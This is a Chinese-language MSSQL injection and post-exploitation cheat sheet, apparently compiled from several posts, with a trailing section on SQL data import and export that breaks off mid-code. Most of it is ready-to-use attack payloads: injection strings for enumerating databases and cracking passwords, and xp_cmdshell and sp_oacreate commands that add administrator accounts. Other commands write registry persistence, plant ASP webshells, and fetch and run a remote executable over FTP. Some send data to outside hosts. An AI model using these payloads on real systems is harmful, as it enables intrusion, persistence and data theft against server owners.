注入查閱php
1、返回的是鏈接的數據庫名 and db_name()>0 2、做用是獲取鏈接用戶名 and user>0 3、將數據庫備份到Web目錄下面 ;backup database 數據庫名 to disk='c:\inetpub\wwwroot\1.db';-- 4、顯示SQL系統版本 and 1=(select @@VERSION) 或and 1=convert(int,@@version)-- 5、判斷xp_cmdshell擴展存儲過程是否存在 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name ='xp_cmdshell') 6、恢復xp_cmdshell擴展存儲的命令 ;exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';-- 7、向啓動組中寫入命令行和執行程序 ;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\ Run','help1','REG_SZ','cmd.exe /c net user test ptlove /add' 8、查看當前的數據庫名稱 and 0 <> db_name(n) n改爲0,1,2,3……就能夠跨庫了 或and 1=convert(int,db_name())-- 9、不需xp_cmdshell支持在有注入漏洞的SQL服務器上運行CMD命令(同第76) 10、則把獲得的數據內容所有備份到WEB目錄下 ;backup database 數據庫名 to disk='c:\inetpub\wwwroot\save.db' 11、經過複製CMD建立UNICODE漏洞 ;exec master.dbo.xp_cmdshell "copy c:\winnt\system32\cmd.exe c:\inetpub\scripts\cmd.exe" 12、遍歷系統的目錄結構,分析結果並發現WEB虛擬目錄 先建立一個臨時表:temp ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- (1)利用xp_availablemedia來得到當前全部驅動器,並存入temp表中 ;insert temp exec master.dbo.xp_availablemedia;-- 經過查詢temp的內容來得到驅動器列表及相關信息 (2)利用xp_subdirs得到子目錄列表,並存入temp表中 ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- (3)還能夠利用xp_dirtree得到全部子目錄的目錄樹結構,並寸入temp表中 ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- (實驗成功) 13、查看某個文件的內容,能夠經過執行xp_cmdsell ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 14、將一個文本文件插入到一個臨時表中 ;bulk insert temp(id) from 'c:\inetpub\wwwroot\index.asp' 15、每完成一項瀏覽後,應刪除TEMP中的全部內容,刪除方法是: ;delete from temp;-- 16、瀏覽TEMP表的方法是: and (select top 1 id from TestDB.dbo.temp)>0 假設TestDB是當前鏈接的數據庫名 17、猜解全部數據庫名稱 and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0 dbid=6,7,8分別獲得其它庫名 18、猜解數據庫中用戶名錶的名稱 and (select count(*) from TestDB.dbo.表名)>0 若表名存在,則abc.asp工做正常,不然異常。如此循環,直到猜到系統賬號表的名稱。 19、判斷是不是sysadmin權限 and 1=(SELECT IS_SRVROLEMEMBER('sysadmin')) 20、判斷是不是SA用戶 'sa'=(SELECT System_user) 21、查看數據庫角色 ;use model-- 22、查看庫名 and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)-- 23、得到第一個用戶創建表的名稱 and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 )>0 假設要得到數據庫是TestDB.dbo 24、得到第二個用戶創建的表的名稱 and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 and name not in('xyz'))>0 25、得到第三個用戶創建的表的名稱 and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 and name not in('xyz',''))>0 ''中爲第二個用戶名 26、得到第四個用戶創建的表的名稱 and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 and name not in('xyz','',''))>0 '',''中爲第二,三個用戶名 27、得到表中記錄的條數 and (select count(*) from 表名)<5 記錄條數小於5 或 <10 記錄條數小於10 ……等等 28、測試權限結構(mssql) and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- and 1=(SELECT IS_SRVROLEMEMBER('serveradmin'));-- and 1=(SELECT IS_SRVROLEMEMBER('setupadmin'));-- and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));-- and 1=(SELECT IS_SRVROLEMEMBER('diskadmin'));-- and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));-- and 1=(SELECT IS_MEMBER('db_owner'));-- 29、 添加mssql和系統的賬戶 ;exec master.dbo.sp_addlogin username;-- ;exec master.dbo.sp_password null,username,password;-- ;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- ;exec master.dbo.xp_cmdshell 'net user username password /add';-- ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 30、 簡潔的webshell use model create table cmd(str image); insert into cmd(str) values ('<%=server.createobject("wscript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%>'); backup database model to disk='g:\wwwtest\l.asp'; 請求的時候,像這樣子用: http://ip/l.asp?c=dir 31、猜解字段名稱 猜解法:and (select count(字段名) from 表名)>0 若「字段名」存在,則返回正常 讀取法:and (select top 1 col_name(object_id('表名'),1) from sysobjects)>0 把col_name(object_id('表名'),1)中的1依次換成2,3,4,5,6…就可獲得全部的字段名稱。 32、 猜解用戶名與密碼 ASCII碼逐字解碼法:基本的思路是先猜出字段的長度,而後依次猜出每一位的值 and (select top 1 len(username) from admin)=X(X=1,2,3,4,5,… n,假設:username爲用戶名字段的名稱,admin爲表的名稱 若x爲某一值i且abc.asp運行正常時,則i就是第一個用戶名的長度。 and (select top 1 ascii(substring(username,m,1)) from admin)=n (m的值在上一步獲得的用戶名長度之間,當m=1,2,3,…時猜想分別猜想第1,2,3,…位的值;n的值是1~9、a~z、A~Z的ASCII值,也就是1~128之間的任意值;admin爲系統用戶賬號表的名稱), 33、創建數據表 ;create table 表名 (列名1 數據類型,列名2 數據類型);-- 34、向表格中插入數據 ;insert into 表名 (列名1,列名2,……) values ('值1','值2'……);-- 35、更新記錄 update 表名 set 列名1='值'…… where …… 36、刪除記錄 delete from 表名 where …… 37、刪除數據庫表格 drop table 表名 38、將文本文件導入表 使用'bulk insert'語法能夠將一個文本文件插入到一個臨時表中。簡單地建立這個表: create table foo( line varchar(8000)) 而後執行bulk insert操做把文件中的數據插入到表中,如: bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp' 39、備份當前數據庫的命令: declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目錄bak.dat' ,name='test';-- 40、使用sp_makewebtask處理過程的相關請求寫入URL ; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES" 41、將得到SQLSERVER進程的當前工做目錄中的目錄列表 Exec master..xp_cmdshell 'dir' 42、將提供服務器上全部用戶的列表 Exec master..xp_cmdshell 'net user' 43、讀註冊表存儲過程 exec xp_regread HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares' 44、xp_servicecontrol過程容許用戶啓動,中止,暫停和繼續服務 exec master..xp_servicecontrol 'start','schedule' exec master..xp_servicecontrol 'start','server' 45、顯示機器上有用的驅動器 Xp_availablemedia 46、容許得到一個目錄樹 Xp_dirtree 47、提供進程的進程ID,終止此進程 Xp_terminate_process 48、恢復xp_cmdshell Exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll' 49、堵上cmdshell的SQL語句 sp_dropextendedproc "xp_cmdshell" 50、不須要XP_CMDSHLL直接添加系統賬號,對XPLOG70.DLL被刪頗有效 declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user gchn aaa /add'-- 51、在數據庫內添加一個hax用戶 ;exec sp_addlogin hax;-- 52、給hax設置密碼 ;exec master.dbo.sp_password null,username,password;-- 53、將hax添加到sysadmin組 ;exec master.dbo.sp_addsrvrolemember sysadmin hax;-- 54、(1)遍歷目錄 ;create table dirs(paths varchar(100), id int) ;insert dirs exec master.dbo.xp_dirtree 'c:\' ;and (select top 1 paths from dirs)>0 ;and (select top 1 paths from dirs where paths not in('上步獲得的paths'))>) 55、(2)遍歷目錄 ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ;insert temp exec master.dbo.xp_availablemedia;-- 得到當前全部驅動器 ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 得到子目錄列表 ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 得到全部子目錄的目錄樹結構 ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的內容 56、mssql中的存儲過程 xp_regenumvalues 註冊表根鍵, 子鍵 ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多個記錄集方式返回全部鍵值 xp_regread 根鍵,子鍵,鍵值名 ;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定鍵的值 xp_regwrite 根鍵,子鍵, 值名, 值類型, 值 值類型有2種REG_SZ 表示字符型,REG_DWORD 表示整型 ;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 寫入註冊表 xp_regdeletevalue 根鍵,子鍵,值名 exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 刪除某個值 xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Tes
啊D注入的命令: //看看是什麼權限的 and 1=(Select IS_MEMBER('db_owner')) And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;-- //檢測是否有讀取某數據庫的權限 and 1= (Select HAS_DBACCESS('master')) And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 -- 數字類型 and char(124)%2Buser%2Bchar(124)=0 字符類型 ' and char(124)%2Buser%2Bchar(124)=0 and ''=' 搜索類型 ' and char(124)%2Buser%2Bchar(124)=0 and '%'=' 爆用戶名 and user>0 ' and user>0 and ''=' 檢測是否爲SA權限 and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 -- 檢測是否是MSSQL數據庫 and exists (select * from sysobjects);-- 檢測是否支持多行 ;declare @d int;-- 恢復 xp_cmdshell ;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';-- select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') //----------------------- // 執行命令 //----------------------- 首先開啓沙盤模式: exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 而後利用jet.oledb執行系統命令 select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")') 執行命令 ;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';-- EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111' 判斷xp_cmdshell擴展存儲過程是否存在: [url=http://192.168.1.5/display.asp?keyno=188]連接標記http://192.168.1.5/display.asp?keyno=188[/url] and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell') 寫註冊表 exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 REG_SZ 讀註冊表 exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit' 讀取目錄內容 exec master..xp_dirtree 'c:\winnt\system32\',1,1 數據庫備份 backup database pubs to disk = 'c:\123.bak' //爆出長度 And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;-- 更改sa口令方法:用sql綜合利用工具鏈接後,執行命令: exec sp_password NULL,'新密碼','sa' 添加和刪除一個SA權限的用戶test: exec master.dbo.sp_addlogin test,ptlove exec master.dbo.sp_addsrvrolemember test,sysadmin 刪除擴展存儲過過程xp_cmdshell的語句: exec sp_dropextendedproc 'xp_cmdshell' 添加擴展存儲過過程 EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' GRANT exec On xp_proxiedadata TO public 停掉或激活某個服務。 exec master..xp_servicecontrol 'stop','schedule' exec master..xp_servicecontrol 'start','schedule' dbo.xp_subdirs 只列某個目錄下的子目錄。 xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp' dbo.xp_makecab 將目標多個檔案壓縮到某個目標檔案以內。 全部要壓縮的檔案均可以接在參數列的最後方,以逗號隔開。 dbo.xp_makecab 'c:\test.cab','mszip',1, 'C:\Inetpub\wwwroot\SQLInject\login.asp', 'C:\Inetpub\wwwroot\SQLInject\securelogin.asp' xp_terminate_process 停掉某個執行中的程序,但賦予的參數是 Process ID。 利用」工做管理員」,透過選單「檢視」-「選擇字段」勾選 pid,就能夠看到每一個執行程序的 Process ID xp_terminate_process 2484 xp_unpackcab 解開壓縮檔。 xp_unpackcab 'c:\test.cab','c:\temp',1 某機,安裝了radmin,密碼被修改了,regedit.exe不知道被刪除了仍是被更名了,net.exe不存在,沒有辦法使用regedit /e 導入註冊文件,可是mssql是sa權限,使用以下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 便可修改密碼爲12345678。若是要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 則端口值改成1234 create database lcx; Create TABLE ku(name nvarchar(256) null); Create TABLE biao(id int NULL,name nvarchar(256) null); //獲得數據庫名 insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases //在Master中建立表,看看權限怎樣 Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);-- 用 sp_makewebtask直接在web目錄裏寫入一句話馬: [url=http://127.0.0.1/dblogin123.asp?username=123]連接標記http://127.0.0.1/dblogin123.asp?username=123'[/url];exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';-- //更新表內容 Update films SET kind = 'Dramatic' Where id = 123 //刪除內容 delete from table_name where Stockid = 3
MSSQL下執行系統命令html
假設咱們已經鏈接一臺1433的服務器, 那咱們要如何來執行系統命令呢,這裏我就給你們講解下啦. 1).XP_CMDSHELL 'cmd.exe /c net user aaa bbb /add' 人人都知道的辦法,最大的好處是有回顯,可是最怕 if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and OBJECTPROPERTY(id, N'IsExtendedProc') = 1) exec sp_dropextendedproc N'[dbo].[xp_cmdshell]' GO 經過上面的T-SQL語句就能夠把這個擴展儲存刪了 咱們通常能夠用 2k: EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' SQL97: EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xpsql70.dll' 就還原了. 可是有的人知道sp_addextendedproc也只不過是一個儲存過程同樣能夠刪除的 Drop PROCEDURE sp_addextendedproc if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and OBJECTPROPERTY(id, N'IsExtendedProc') = 1) exec sp_dropextendedproc N'[dbo].[xp_cmdshell]' GO 還原: create procedure sp_addextendedproc --- 1996/08/30 20:13 @functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as set implicit_transactions off if @@trancount > 0 begin raiserror(15002,-1,-1,'sp_addextendedproc') return (1) end /* ** Create the extended procedure mapping. */ dbcc addextendedproc( @functname, @dllname) return (0) -- sp_addextendedproc GO 唉呀呀寫了這麼多其實有個最簡單的保護辦法: 先NET stop mssqlserver,而後把xplog70.dll(SQL97下用xpsql70.dll)刪了 再把服務打開就能夠了 2) 看了上面的你就明白了xp_cmdshell最終是能夠被刪除的,沒別的辦法了嗎? 有寫註冊表三: xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run', 'czy82','REG_SZ', net user czy bb /add 其實註冊表還有好幾個地方能夠寫的好比說註冊表中的WEB瀏覽設置 用寫註冊表的辦法很差的地方是不但沒有回顯並且不能立刻運行,實不實用我也不知道了 3) declare @s int exec sp_oacreate "wscript.shell",@s out --exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo open asp.7i24.com>c:\a.txt" --exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo 123321>>c:\a.txt" --exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo 123321>>c:\a.txt" --exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo get server.exe>>c:\a.txt" --exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo close>>c:\a.txt" --exec sp_oamethod @s,"run",NULL,"cmd.exe /c ftp -s:c:\a.txt" exec sp_oamethod @s,"run",NULL,"cmd.exe /c server" 對了正如你看到的咱們還可使用sp_oacreate和sp_oamethod,在它們的做用下咱們能夠 調用系統的控件好比說fso,wsh,shell什麼的,可是有個問題是並不能象xp_cmdshell那樣 立刻看到結果,真的不能嗎看下面的: declare @s int,@o int ,@f int,@str nvarchar(4000) /*exec sp_oacreate "wscript.shell",@s out exec sp_oamethod @s,"run",NULL,"cmd.exe /c net user>c:\temp.txt"*/ exec sp_oacreate "scripting.filesystemobject", @o out exec sp_oamethod @o, "opentextfile", @f out,"c:\temp.txt", 1 exec sp_oamethod @f, "readall",@str out print @str 先執行註解內的而後執行外面的其實原理很簡單就是利用>把結果寫到一個文件中而後用 fso來讀出來!很實用的 ------------------------------------------ 寫到這兒該做個總結了上面三個辦法可能你們都知道吧 下面的可能知道的人就少了 ------------------------------------------ 4) use msdb; --這兒不要是master喲 exec sp_add_job @job_name='czy82'; exec sp_add_jobstep @job_name='czy82',@step_name = 'Exec my sql',@subsystem='CMDEXEC',@command='dir c:\>c:\b.txt'; exec sp_add_jobserver @job_name = 'czy82',@server_name = 'smscomputer'; exec sp_start_job @job_name='czy82'; 利用MSSQL的做業處理也是能夠執行命令的並且若是上面的subsystem的參數是tsql,後面的咱們就能夠 執行tsql語句了. 對於這幾個儲存過程的使用第一在@server_name咱們要指定你的sql的服務器名 第二系統的sqlserveragent服務必須打開(默認沒打開的氣人了吧) net start SQLSERVERAGENT 對於這個東東還有一個地方不一樣就是public也能夠執行..同這兒也是有系統洞洞的看下面的 USE msdb EXEC sp_add_job @job_name = 'GetSystemOnSQL', @enabled = 1, @description = 'This will give a low privileged user access to xp_cmdshell', @delete_level = 1 EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL', @step_name = 'Exec my sql', @subsystem = 'TSQL', @command = 'exec master..xp_execresultset N''select ''''exec master..xp_cmdshell "dir > c:\agent-job-results.txt"'''''',N''Master''' EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL', @server_name = '你的SQL的服務器名' EXEC sp_start_job @job_name = 'GetSystemOnSQL' 不要懷疑上面的代碼,我是測試成功了的!這兒咱們要注意xp_execresultset就是由於它因此 才讓咱們能夠以public執行xp_cmdshell 5)關於Microsoft SQL Agent Jobs任意文件可刪除覆蓋漏洞(public用戶也能夠) 在安焦有文章:[url=http://www.xfocus.net/vuln/vul_view.php?vul_id=2968]連接標記http://www.xfocus.net/vuln/vul_view.php?vul_id=2968[/url] USE msdb EXEC sp_add_job @job_name = 'ArbitraryFileCreate', @enabled = 1, @description = 'This will create a file called c:\sqlafc123.txt', @delete_level = 1 EXEC sp_add_jobstep @job_name = 'ArbitraryFileCreate', @step_name = 'SQLAFC', @subsystem = 'TSQL', @command = 'select ''hello, this file was created by the SQL Agent.''', @output_file_name = 'c:\sqlafc123.txt' EXEC sp_add_jobserver @job_name = 'ArbitraryFileCreate', @server_name = 'SERVER_NAME' EXEC sp_start_job @job_name = 'ArbitraryFileCreate' 若是subsystem選的是:tsql,在生成的文件的頭部有以下內容 ??揂rbitraryFileCreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19 ---------------------------------------------- hello, this file was created by the SQL Agent. (1 ?????) 因此我建議要生成文件最好subsystem選cmdexec,若是利用得好咱們能夠寫一個有添加管理員 命令的vbs文件到啓動目錄! 6)關於sp_makewebtask(能夠寫任意內容任意文件名的文件) 關於sp_MScopyscriptfile 看下面的例子 declare @command varchar(100) declare @scripfile varchar(200) set concat_null_yields_null off select @command='dir c:\ > "\\attackerip\share\dir.txt"' select @scripfile='c:\autoexec.bat > nul" | ' + @command + ' | rd "' exec sp_MScopyscriptfile @scripfile ,'' 這兩個東東都還在測試試喲 讓MSSQL的public用戶獲得一個本機的web shell:) sp_makewebtask @outputfile='d:\sms\a.asp',@charset=gb2312, --@query='select ''<img src=vbscript:msgbox(now())>''' --@query='select ''<%response.write request.servervariables("APPL_PHYSICAL_PATH")%>'' ' @query='select '' <%On Error Resume Next Set oscript = Server.CreateObject("wscript.SHELL") Set oscriptNet = Server.CreateObject("wscript.NETWORK") Set oFileSys = Server.CreateObject("scripting.FileSystemObject") szCMD = Request.Form(".CMD") If (szCMD <>"")Then szTempFile = "C:\" & oFileSys.GetTempName() Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) End If %> <HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="POST"> <input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> </FORM><PRE> <% If (IsObject(oFile))Then On Error Resume Next Response.Write Server.HTMLEncode(oFile.ReadAll) oFile.Close Call oFileSys.DeleteFile(szTempFile, True) End If%> </BODY></HTML> '''
SQL語句導入導出各種文件web
/******* 導出到excel EXEC master..xp_cmdshell 'bcp SettleDB.dbo.shanghu out c:\temp1.xls -c -q -S"GNETDATA/GNETDATA" -U"sa" -P""' /*********** 導入Excel Select * FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0', 'Data Source="c:\test.xls";User ID=Admin;Password=;Extended properties=Excel 5.0')...xactions /*動態文件名 declare @fn varchar(20),@s varchar(1000) set @fn = 'c:\test.xls' set @s ='''Microsoft.Jet.OLEDB.4.0'', ''Data Source="'+@fn+'";User ID=Admin;Password=;Extended properties=Excel 5.0''' set @s = 'Select * FROM OpenDataSource ('+@s+')...sheet1$' exec(@s) */ Select cast(cast(科目編號 as numeric(10,2)) as nvarchar(255))+' ' 轉換後的別名 FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0', 'Data Source="c:\test.xls";User ID=Admin;Password=;Extended properties=Excel 5.0')...xactions /********************** EXCEL導到遠程SQL insert OPENDATASOURCE( 'SQLOLEDB', 'Data Source=遠程ip;User ID=sa;Password=密碼' ).庫名.dbo.表名 (列名1,列名2) Select 列名1,列名2 FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0', 'Data Source="c:\test.xls";User ID=Admin;Password=;Extended properties=Excel 5.0')...xactions /** 導入文本文件 EXEC master..xp_cmdshell 'bcp dbname..tablename in c:\DT.txt -c -Sservername -Usa -Ppassword' /** 導出文本文件 EXEC master..xp_cmdshell 'bcp dbname..tablename out c:\DT.txt -c -Sservername -Usa -Ppassword' 或 EXEC master..xp_cmdshell 'bcp "Select * from dbname..tablename" queryout c:\DT.txt -c -Sservername -Usa -Ppassword' 導出到TXT文本,用逗號分開 exec master..xp_cmdshell 'bcp "庫名..表名" out "d:\tt.txt" -c -t ,-U sa -P password' BULK Insert 庫名..表名 FROM 'c:\test.txt' WITH ( FIELDTERMINATOR = ';', ROWTERMINATOR = '\n' ) --/* dBase IV文件 select * from OPENROWSET('MICROSOFT.JET.OLEDB.4.0' ,'dBase IV;HDR=NO;IMEX=2;DATABASE=C:\','select * from [客戶資料4.dbf]') --*/ --/* dBase III文件 select * from OPENROWSET('MICROSOFT.JET.OLEDB.4.0' ,'dBase III;HDR=NO;IMEX=2;DATABASE=C:\','select * from [客戶資料3.dbf]') --*/ --/* FoxPro 數據庫 select * from openrowset('MSDASQL', 'Driver=Microsoft Visual FoxPro Driver;SourceType=DBF;SourceDB=c:\', 'select * from [aa.DBF]') --*/ /**************導入DBF文件****************/ select * from openrowset('MSDASQL', 'Driver=Microsoft Visual FoxPro Driver; SourceDB=e:\VFP98\data; SourceType=DBF', 'select * from customer where country != "USA" order by country') go /***************** 導出到DBF ***************/ 若是要導出數據到已經生成結構(即現存的)FOXPRO表中,能夠直接用下面的SQL語句 insert into openrowset('MSDASQL', 'Driver=Microsoft Visual FoxPro Driver;SourceType=DBF;SourceDB=c:\', 'select * from [aa.DBF]') select * from 表 說明: SourceDB=c:\ 指定foxpro表所在的文件夾 aa.DBF 指定foxpro表的文件名. /*************導出到Access********************/ insert into openrowset('Microsoft.Jet.OLEDB.4.0', 'x:\A.mdb';'admin';'',A表) select * from 數據庫名..B表 /*************導入Access********************/ insert into B表 selet * from openrowset('Microsoft.Jet.OLEDB.4.0', 'x:\A.mdb';'admin';'',A表) 文件名爲參數 declare @fname varchar(20) set @fname = 'd:\test.mdb' exec('Select a.* FROM opendatasource(''Microsoft.Jet.OLEDB.4.0'', '''+@fname+''';''admin'';'''', topics) as a ') Select * FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0', 'Data Source="f:\northwind.mdb";Jet OLEDB:Database Password=123;User ID=Admin;Password=;')...產品 ********************* 導入 xml 文件 DECLARE @idoc int DECLARE @doc varchar(1000) --sample XML document SET @doc =' <root> <Customer cid= "C1" name="Janine" city="Issaquah"> <Order oid="O1" date="1/20/1996" amount="3.5" /> <Order oid="O2" date="4/30/1997" amount="13.4">Customer was very satisfied </Order> </Customer> <Customer cid="C2" name="Ursula" city="Oelde" > <Order oid="O3" date="7/14/1999" amount="100" note="Wrap it blue white red"> <Urgency>Important</Urgency> Happy Customer. </Order> <Order oid="O4" date="1/20/1996" amount="10000"/> </Customer> </root> ' -- Create an internal representation of the XML document. EXEC sp_xml_preparedocument @idoc OUTPUT, @doc -- Execute a Select statement using OPENXML rowset provider. Select * FROM OPENXML (@idoc, '/root/Customer/Order', 1) WITH (oid char(5), amount float, comment ntext 'text()') EXEC sp_xml_removedocument @idoc ??????? /**********************Excel導到Txt****************************************/ 想用 select * into opendatasource(...) from opendatasource(...) 實現將一個Excel文件內容導入到一個文本文件 假設Excel中有兩列,第一列爲姓名,第二列爲很行賬號(16位) 且銀行賬號導出到文本文件後分兩部分,前8位和後8位分開。 鄒健: 若是要用你上面的語句插入的話,文本文件必須存在,並且有一行:姓名,銀行帳號1,銀行帳號2 而後就能夠用下面的語句進行插入 注意文件名和目錄根據你的實際狀況進行修改. insert into opendatasource('MICROSOFT.JET.OLEDB.4.0' ,'Text;HDR=Yes;DATABASE=C:\' )...[aa#txt] --,aa#txt) --*/ select 姓名,銀行帳號1=left(銀行帳號,8),銀行帳號2=right(銀行帳號,8) from opendatasource('MICROSOFT.JET.OLEDB.4.0' ,'Excel 5.0;HDR=YES;IMEX=2;DATABASE=c:\a.xls' --,Sheet1$) )...[Sheet1$] 若是你想直接插入並生成文本文件,就要用bcp declare @sql varchar(8000),@tbname varchar(50) --首先將excel表內容導入到一個全局臨時表 select @tbname='[##temp'+cast(newid() as varchar(40))+']' ,@sql='select 姓名,銀行帳號1=left(銀行帳號,8),銀行帳號2=right(銀行帳號,8) into '+@tbname+' from opendatasource(''MICROSOFT.JET.OLEDB.4.0'' ,''Excel 5.0;HDR=YES;IMEX=2;DATABASE=c:\a.xls'' )...[Sheet1$]' exec(@sql) --而後用bcp從全局臨時表導出到文本文件 set @sql='bcp "'+@tbname+'" out "c:\aa.txt" /S"(local)" /P"" /c' exec master..xp_cmdshell @sql --刪除臨時表 exec('drop table '+@tbname) /********************導整個數據庫*********************************************/ 用bcp實現的存儲過程 /* 實現數據導入/導出的存儲過程 根據不一樣的參數,能夠實現導入/導出整個數據庫/單個表 調用示例: --導出調用示例 ----導出單個表 exec file2table 'zj','','','xzkh_sa..地區資料','c:\zj.txt',1 ----導出整個數據庫 exec file2table 'zj','','','xzkh_sa','C:\docman',1 --導入調用示例 ----導入單個表 exec file2table 'zj','','','xzkh_sa..地區資料','c:\zj.txt',0 ----導入整個數據庫 exec file2table 'zj','','','xzkh_sa','C:\docman',0 */ if exists(select 1 from sysobjects where name='File2Table' and objectproperty(id,'IsProcedure')=1) drop procedure File2Table go create procedure File2Table @servername varchar(200) --服務器名 ,@username varchar(200) --用戶名,若是用NT驗證方式,則爲空'' ,@password varchar(200) --密碼 ,@tbname varchar(500) --數據庫.dbo.表名,若是不指定:.dbo.表名,則導出數據庫的全部用戶表 ,@filename varchar(1000) --導入/導出路徑/文件名,若是@tbname參數指明是導出整個數據庫,則這個參數是文件存放路徑,文件名自動用表名.txt ,@isout bit --1爲導出,0爲導入 as declare @sql varchar(8000) if @tbname like '%.%.%' --若是指定了表名,則直接導出單個表 begin set @sql='bcp '+@tbname +case when @isout=1 then ' out ' else ' in ' end +' "'+@filename+'" /w' +' /S '+@servername +case when isnull(@username,'')='' then '' else ' /U '+@username end +' /P '+isnull(@password,'') exec master..xp_cmdshell @sql end else begin --導出整個數據庫,定義遊標,取出全部的用戶表 declare @m_tbname varchar(250) if 